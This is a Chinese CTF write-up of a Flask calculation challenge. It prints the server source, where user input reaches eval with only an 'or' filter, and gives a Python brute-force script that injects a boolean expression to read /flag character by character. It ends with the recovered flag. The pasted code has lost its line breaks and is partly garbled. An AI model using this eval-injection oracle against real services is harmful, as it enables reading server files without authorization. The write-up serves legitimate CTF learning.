【web】-flask-简单的计算题（不简单）

打开页面是这样的

初步思路，打开F12，查看头，都发现了这个表达式的base64加密字符串。编写脚本提交答案，发现不对；

无奈点开source发现源代码，是flask,初始化表达式，获取提交的表达式，赋值新的表达式，没发现有什么问题，但是eval是个危险函数，前后端没有严格的过滤，这个可以利用,输入：(-497559)+(969608)+(-255632)+(587860)+(716596)  and 1==1 后提示Congratulations。source代码和实现代码如下

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import create
import osapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)## flag is in /flag try to get [e-mail]('/', methods=['GET', 'POST'])
def index():def filter(string):if "or" in string:return "hack"return stringif request.method == 'POST':input = request.form['input']create_question = create()input_question = session.get('question')session['question'] = create_questionif input_question==None:return render_template('index.html', answer="Invalid session please try again!", question=create_question)if filter(input)=="hack":return render_template('index.html', answer="hack", question=create_question)try:calc_result = str((eval(input_question + "=" + str(input))))if calc_result == 'True':result = "Congratulations"elif calc_result == 'False':result = "Error"else:result = "Invalid"except:result = "Invalid"return render_template('index.html', answer=result,question=create_question)if request.method == 'GET':create_question = create()session['question'] = create_questionreturn render_template('index.html',question=create_question)@app.route('/source')
def source():return open("app.py", "r").read()if __name__ == '__main__':app.run(host="0.0.0.0", debug=False)

import requests
import redef main():alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']url='ip'data={"input":""}s = requests.Session()flag = ''for i in range(0,100):for char in alphabet:try:r = s.get(url)question = re.search(r"<h4>(.*)</h4>", r.text.decode(), re.M|re.I).group().replace("<h4>", "").replace("</h4>","")[:-1]data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)r = s.post(url, data=data)result = r.content.decode()if r"Congratulations" in result:flag += charprint(flag)breakexcept Exception as e:print("Exception: ", end='')print(e)
if __name__ == '__main__':main()

运行后得到flag : DASCTF{53a6ee70a3e8c013e2b1dbb2b926d3b2}